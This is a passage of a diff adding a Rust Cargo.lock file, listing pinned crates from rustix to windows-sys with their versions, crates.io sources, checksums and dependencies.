"cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.60.2", +] + +[[package]] +name = "rustls" +version = "0.23.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" +dependencies = [ + "aws-lc-rs", + "log", + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pemfile" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dce314e5fee3f39953d46bb63bb8a46d40c2f8fb7cc5a3b6cab2bde9721d6e50" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7df23109aa6c1567d1c575b9952556388da57401e4ace1d15f79eedad0d8f53" +dependencies = [ + "aws-lc-rs", + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + +[[package]] +name = "salsa20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" +dependencies = [ + "cipher", +] + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schannel" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891d81b926048e76efe18581bf793546b4c0eaf8448d72be8de2bbee5fd166e1" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "scroll" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ab8598aa408498679922eff7fa985c25d58a90771bd6be794434c5277eab1a6" +dependencies = [ + "scroll_derive", +] + +[[package]] +name = "scroll_derive" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1783eabc414609e28a5ba76aee5ddd52199f7107a0b24c2e9746a1ecc34a683d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "scrypt" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" +dependencies = [ + "pbkdf2", + "salsa20", + "sha2", +] + +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags 2.11.0", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "semver" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" + +[[package]] +name = "serde" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "serde_json" +version = "1.0.142" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "030fedb782600dcbd6f02d479bf0d817ac3bb40d644745b769d6a96bc3afc5a7" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "serde_spanned" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40734c41988f7306bb04f0ecf60ec0f3f1caa34290e4e8ea471dcd3346483b83" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_yaml" +version = "0.9.34+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47" +dependencies = [ + "indexmap", + "itoa", + "ryu", + "serde", + "unsafe-libyaml", +] + +[[package]] +name = "serial" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1237a96570fc377c13baa1b88c7589ab66edced652e43ffb17088f003db3e86" +dependencies = [ + "serial-core", + "serial-unix", + "serial-windows", +] + +[[package]] +name = "serial-core" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f46209b345401737ae2125fe5b19a77acce90cd53e1658cda928e4fe9a64581" +dependencies = [ + "libc", +] + +[[package]] +name = "serial-unix" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f03fbca4c9d866e24a459cbca71283f545a37f8e3e002ad8c70593871453cab7" +dependencies = [ + "ioctl-rs", + "libc", + "serial-core", + "termios", +] + +[[package]] +name = "serial-windows" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15c6d3b776267a75d31bbdfd5d36c0ca051251caafc285827052bc53bcdc8162" +dependencies = [ + "libc", + "serial-core", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shared_child" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e362d9935bc50f019969e2f9ecd66786612daae13e8f277be7bfb66e8bed3f7" +dependencies = [ + "libc", + "sigchld", + "windows-sys 0.60.2", +] + +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde" + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "sigchld" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47106eded3c154e70176fc83df9737335c94ce22f821c32d17ed1db1f83badb1" +dependencies = [ + "libc", + "os_pipe", + "signal-hook", +] + +[[package]] +name = "signal-hook" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d881a16cf4426aa584979d30bd82cb33429027e42122b169753d6ef1085ed6e2" +dependencies = [ + "libc", + "signal-hook-registry", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a4719bff48cee6b39d12c020eeb490953ad2443b7055bd0b21fca26bd8c28b" +dependencies = [ + "libc", +] + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "slab" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589" + +[[package]] +name = "slice-pool" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "733fc6e5f1bd3a8136f842c9bdea4e5f17c910c2fcc98c90c3aa7604ef5e2e7a" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "smol" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a33bd3e260892199c3ccfc487c88b2da2265080acb316cd920da72fdfd7c599f" +dependencies = [ + "async-channel 2.5.0", + "async-executor", + "async-fs", + "async-io", + "async-lock", + "async-net", + "async-process", + "blocking", + "futures-lite", +] + +[[package]] +name = "snap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "strum" +version = "0.26.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fec0f0aef304996cf250b31b5a10dee7980c85da9d759361292b8bca5a18f06" + +[[package]] +name = "strum_macros" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c6bee85a5a24955dc440386795aa378cd9cf82acd5f764469152d2270e581be" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "rustversion", + "syn 2.0.108", +] + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da58917d35242480a05c2897064da0a80589a2a0476c9a3f2fdc83b53502e917" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "tar" +version = "0.4.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d863878d212c87a19c1a610eb53bb01fe12951c0501cf5a0d65f724914a667a" +dependencies = [ + "filetime", + "libc", + "xattr", +] + +[[package]] +name = "tempfile" +version = "3.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1" +dependencies = [ + "fastrand", + "getrandom 0.3.3", + "once_cell", + "rustix", + "windows-sys 0.59.0", +] + +[[package]] +name = "termios" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5d9cf598a6d7ce700a4e6a9199da127e6819a61e64b68609683cc9a01b5683a" +dependencies = [ + "libc", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl 2.0.18", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "time" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" +dependencies = [ + "libc", + "wasi 0.10.0+wasi-snapshot-preview1", + "winapi", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tokio" +version = "1.47.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89e49afdadebb872d3145a5638b59eb0691ea23e46ca484037cfab3b76b95038" +dependencies = [ + "backtrace", + "io-uring", + "libc", + "mio", + "pin-project-lite", + "slab", + "tokio-macros", +] + +[[package]] +name = "tokio-macros" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "toml" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75129e1dc5000bfbaa9fee9d1b21f974f9fbad9daec557a521ee6e080825f6e8" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime 0.7.0", + "toml_parser", + "toml_writer", + "winnow 0.7.12", +] + +[[package]] +name = "toml_datetime" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c" + +[[package]] +name = "toml_datetime" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bade1c3e902f58d73d3f294cd7f20391c1cb2fbcb643b73566bc773971df91e3" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.22.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a" +dependencies = [ + "indexmap", + "toml_datetime 0.6.11", + "toml_write", + "winnow 0.7.12", +] + +[[package]] +name = "toml_parser" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b551886f449aa90d4fe2bdaa9f4a2577ad2dde302c61ecf262d80b116db95c10" +dependencies = [ + "winnow 0.7.12", +] + +[[package]] +name = "toml_write" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801" + +[[package]] +name = "toml_writer" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc842091f2def52017664b53082ecbbeb5c7731092bad69d2c63050401dfd64" + +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "unsafe-libyaml" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "ureq" +version = "2.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02d1a66277ed75f640d608235660df48c8e3c19f3b4edb6a263315626cc3c01d" +dependencies = [ + "base64 0.22.1", + "flate2", + "log", + "once_cell", + "rustls", + "rustls-pki-types", + "url", + "webpki-roots 0.26.11", +] + +[[package]] +name = "url" +version = "2.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf16_iter" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "uuid" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cf4199d1e5d15ddd86a694e4d0dffa9c323ce759fea589f00fef9d81cc1931d" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "uuid-simd" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b082222b4f6619906941c17eb2297fff4c2fb96cb60164170522942a200bd8" +dependencies = [ + "outref", + "uuid", + "vsimd", +] + +[[package]] +name = "value-bag" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "943ce29a8a743eb10d6082545d861b24f9d1b160b7d741e0f2cdf726bec909c5" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "vsimd" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c3082ca00d5a5ef149bb8b555a72ae84c9c59f7250f013ac822ac2e49b19c64" + +[[package]] +name = "vswhom" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" +dependencies = [ + "libc", + "vswhom-sys", +] + +[[package]] +name = "vswhom-sys" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb067e4cbd1ff067d1df46c9194b5de0e98efd2810bbc95c5d5e5f25a3231150" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.10.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" +dependencies = [ + "bumpalo", + "log", + "proc-macro2", + "quote", + "syn 2.0.108", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61" +dependencies = [ + "cfg-if", + "js-sys", + "once_cell", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "0.26.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" +dependencies = [ + "webpki-roots 1.0.6", +] + +[[package]] +name = "webpki-roots" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cfaf3c063993ff62e73cb4311efde4db1efb31ab78a3e5c457939ad5cc0bed" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" +dependencies = [ + "windows-sys 0.59.0", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core 0.58.0", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement 0.58.0", + "windows-interface 0.58.0", + "windows-result 0.2.0", + "windows-strings 0.1.0", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" +dependencies = [ + "windows-implement 0.60.0", + "windows-interface 0.59.1", + "windows-link 0.1.3", + "windows-result 0.3.4", + "windows-strings 0.4.2", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "windows-implement" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "windows-interface" +version = "0.59.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-result" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" +dependencies = [ + "windows-link 0.1.3", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result 0.2.0", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-strings" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" +dependencies = [ + "windows-link 0.1.3", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 